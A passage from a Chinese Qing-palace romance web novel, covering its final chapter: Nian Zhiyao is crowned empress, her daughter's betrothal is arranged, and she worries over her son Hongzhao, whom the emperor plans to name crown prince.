年芷瑶看着四爷有些怔愣,封她为后,自皇后去后,她虽然一直听到这样的话,可如今这是四爷亲口说,要她做他的妻子。
四爷看瑶儿又一次发起呆来,不免有些失笑,瑶儿还是如此爱发呆。
年芷瑶十分配合的贴进了四爷的怀抱,两人相依相偎,只觉得时间都慢了下来。
四爷说要封她为后不是在哄她,而是早有准备,从回宫的路上起,年芷瑶就不停地听到有人颂她的贤德。
头一个说的便是她家室好,性格也好,先帝见了也觉得这家的姑娘好,亲自赐婚给自家儿子做了侧福晋。
而后说她生子有功,为四爷生下三子一女,各个都聪慧康健,是一等一的功绩。
再说她贤惠善良,孝顺太后,与孝宪皇后姐妹情深,当日孝宪皇后病重,对四爷说唯有皇贵妃在万岁身边伺候,她才能放心。
旁的也就罢了,只是听到她与皇后姐妹情深的话,年芷瑶实在是鸡皮疙瘩都起来了,可又不能出言反驳。
传言就是这样,甭管知情人信不信,只要传得够广,旁人都信了便是真的。
四爷想封她为后,并没有什么很大阻碍,一来统管六宫多年,都没有打骂宫人的苛责名声,二来她从潜邸便跟在在四爷身边多年,又育有多子,阖宫上下都没有比她再合适的人选了。
只是她的贤名来势汹汹,应该不是一日两日之功,想来是四爷从出宫那日起便吩咐了去做这件事,让她怎么能不感动。
她看着四爷,眼里泛着难以言喻的光彩。
四爷笑了笑,揉了揉她的脸,“这是怎么了。”
年芷瑶靠在四爷身上,“我在想,能遇着爷,我的运气真好。”
四爷看她,认真地道:“能得瑶儿在身边,是朕的运气好。”
第92章 第92章终章
从四爷下了封后圣旨到封后大典,只隔了半年不到,本来没有这么快的,可万岁爷催得急。
内务府紧赶慢赶,总算在定好的日子之前将事情办好了。
典礼当天,年芷瑶一早便被白芨从床上叫了起来,她看着白芨的两个青黑的眼圈,想来是昨夜一晚上都没怎么睡好。
她对白芨笑了笑,“怎么这么紧张。”
白芨扯了扯嘴角,想对主子笑一笑,可因着太过紧张,实在有些笑不出来,她实话实说道:“奴婢自然是没有主子娘娘沉得住气,一想今日,便睡不着。”
年芷瑶笑笑,她没告诉白芨,自己其实也很紧张,只是当她真的站在了四爷身边,看着下面低压压的人头时,她就再也想不到旁的了。
她想到的只有四爷,这个位置是她一步步走上来的,也是四爷扶着她上来的,为
着弘昭几个孩子,她也得做好才是。
年芷瑶设想了很多,可等到朝廷命妇对她进行大礼参拜时,什么意外都没有发生,一切都顺利得不可思议。
收下了宝印宝册,正式成了皇后之后,她发现宫里对她好像只有称呼变了,其他的仍然照旧。
苏培盛对她行礼:“主子娘娘,万岁爷让奴才过来传话,说午膳会过来用。”
年芷瑶坐在坤宁宫上首,对着苏培盛点头,“辛苦你了。”
对了,还有一点不同,就是她又搬宫了,从永寿宫搬到了坤宁宫,她本来不想搬,永寿宫即是新修的,她也住得好好的,何必要费功夫再搬家。
可四爷说永寿宫太小,日后命妇过来给她请安谢恩都坐不开,这事倒是真的,永寿宫虽也不小,但比坤宁宫还是小了一些。
左右四爷都不嫌重修坤宁宫浪费银子,她这个坐享其成的也不便多说什么。
皇上皇后两位主子一同用午膳,万岁再是减省,御膳房也不敢在这上头省。
四爷先为瑶儿舀了一勺三鲜豆腐,而后开口道:“朕准备过些日子为塔娜下旨赐婚。”
富察家的孩子他看了几年,着实没什么不好的,先赐婚也好。
听到四爷这样说,年芷瑶脸上收了轻松的神色。
四爷顿了顿,安慰她道:“如今只是赐婚,离嫁人还早着呢。”
宫里唯一的固伦公主出嫁,定会隆重得不行,光是六礼就得走一年,再加上其他的事情只会更慢,如今下旨也不过是为了早做准备罢了。
年芷瑶放下筷子道:“爷,我舍不得塔娜,不如同富察家说晚两年再成亲。”
四爷答应下来,他也不想女儿早嫁,先赐婚,再同富察家说一声便是。
自从知道塔娜夫家的消息,弘昭和弘晏便开始轮流出场,特意出宫去看了富察家的驸马,等回来便告诉额娘和姐姐消息。
弘昭说得公正,“儿子瞧着倒是个正经人,身边人的评价也不错,长得也好。”
弘晏撇撇嘴,“我看就是个小白脸罢了,哪里配得上我四姐。”
那人唯一能瞧的便是脸了,可对于来和他抢姐姐的人,弘晏是怎么看怎么不顺眼。
年芷瑶笑了笑。
唯一平静的便只有塔娜一人,她看着额娘和弟弟担心的神色,大大咧咧地说道:“额娘放心,我不会受委屈的。”
她是皇阿玛和皇额娘的女儿,有三个同胞弟弟,即便是嫁人,她也不会让自己受委屈的。
年芷瑶看着一脸无畏的女儿,叹了口气,还是个孩子呢。
嫁人哪里有明面上的委屈,从自己家到了旁人家生活,上有公婆长辈,下有妯娌小姑子,处处都有委屈,处处都说不出口。
即便贵为公主,也不能说定能不受委屈。
罢了,左右如今四爷只是赐婚,离真正成亲还得等两年呢,倒也不用担心得太早,省得日子都过不明白了。
她拍了拍女儿的手,“知道额娘和阿玛都在你身后就行。”
年芷瑶听说弘昭这些日子时常在书房里日夜用功,睡得越发晚,她知道后便带着人去了阿哥所看他。
“额娘。”看见她来,弘昭连忙迎了上去。
他道:“额娘怎么过来了。”
年芷瑶拍了拍他的肩膀,“我听说你这儿灯熄的晚,便过来看看。”
弘昭听后,看了一眼跪在身后的贴身太监。
小太监苦着脸,他也不想说的,可是皇后娘娘亲自派人过来问话,他也不敢瞒着啊。
年芷瑶:“你别瞪他了,是我让人问的。”她坐了下来,对弘昭招了招手,“过来吧,给额娘说说怎么不好好休息。”
弘昭低下头有些不好意思地道:“儿子是想多用些功。”
年芷瑶:“我知道你不想让你阿玛失望,可也要爱护自己的身体,你每日寅时就要早起念书,一天下来功课也不轻松,若是晚上不休息好,身子怎么撑得住。”
弘昭:“儿子让额娘担心了。”
年芷瑶:“我问你,你皇阿玛和我难道会需要你多读几页书吗。”
弘昭摇头。
“教你的太傅们都是享誉天下的大儒,你按部就班的跟着他们进学,将来能入朝堂为你阿玛分忧才是正事,如今这般,岂非是拔苗助长。”
年芷瑶看向弘昭,自从她封了皇后,弘昭成了嫡子后,便想着事事求一个完美。
外头都默认弘昭是太子,四爷自己也有这个心思,弘昭有压力也是正常的,可人又不是铁打的,她实在是怕这孩子压力太大,再把他给压垮了。
弘昭背负的太多,心里不光有姐姐弟弟,还有她这个额娘,都在弘昭的想保护的范围内。
可她宁愿他不用背负那么大的压力,他还没成年呢,又有她这个额娘在,何苦要将事情都揽到自己身上。
弘昭看出额娘眼中的担心,认错道:“是我错了额娘,这次是我想岔了,下次定不会了。”
年芷瑶,“在额娘心里,没什么比你的身子更重要的了。”
弘昭低下头,“是,儿子知道。”
他知道额娘疼他,阿玛也疼他,他便将事情做好一些,让额娘少操些心,谁知道还是让额娘担心了。
年芷瑶知道儿子是不好意思了,也就没有多说什么,她道:“天太晚了,早些歇息吧。”
若是他不听话,她再想别的法子。
弘昭低头眨了眨眼,“儿子知道了。”
看着额娘走了,弘晏飞快地跑了过来,“六哥,我都说了不用这么用功吧,你还不听。”
弘昭眯起眼睛,他说额娘怎么会突然问起他身边的太监,想来就是弘晏告诉的额娘吧,他开口试探:“是你告的状吧。”
弘晏挠了挠头,知道瞒不过他哥,便道:“我看你近日经常熬夜,我也是担心你啊,六哥。”
弘昭看他:“那你就找额娘告状,嗯?”
弘晏有些心虚,往后退了两步。
见弟弟想跑,弘昭一把逮住了他,“是嘛,那为了表示我这个做哥哥的感谢,咱们晚上一块睡吧。”
弘晏十分感动,然后开口拒绝,“六哥,还是下次吧。”
见两位阿哥实在是难舍难分,小太监连忙为阿哥们铺好了床,然后便退到了门外。
弘晏没了力气,倒在了床上,说道:“六哥,你实在不用这么拼,还有我呢,我会帮你的,咱们兄弟齐心,谁敢和我们作对。”
看着身边的弟弟,弘昭柔了神色,手下却毫不留情,“好啊,还教起你哥做事了。”
“六哥,哥,我错了。”感受到伸在腋下的手,弘晏受不住痒,连忙求饶。
额娘还说他小时候天天欺负他六哥,这么一看,哪里是他欺负他六哥,明明是他六哥欺负他好吧。
年芷瑶回了坤宁宫,看着四爷等在床边,忙走了过去,“怎么还没睡。”
四爷道:“去看过孩子了。”
年芷瑶点头。
四爷:“弘昭这孩子最近是有些过于绷着,这也正常。”
他当时刚继位的时候,只觉得周围所有人的眼睛都在看着他,等他出错,他都这般,更何况弘昭这个孩子呢,他还准备等朝堂的事不忙了,就带弘昭出宫骑骑马,散散心,没想到瑶儿先发现了不对。
年芷瑶笑笑,“是弘晏告诉我的。”
四爷也笑了起来,“这孩子,古灵精怪的。”
他握住她的手,“他们兄弟两个齐心,将来定能开拓一个盛世出来。”
年芷瑶看着四爷,着实不知道这时候该说什么,四爷想将皇位传给她的孩子,她应该跪下谢恩吗。
四爷笑了笑,“等过阵子,朕就下旨立弘昭为太子。”
他捏了捏瑶儿的手,“这天下,合该是咱们的孩子的。”
年芷瑶靠在四爷身上,这人真偏心,可她就喜欢他的偏心。【魔蝎小说 mo xie xs .c om】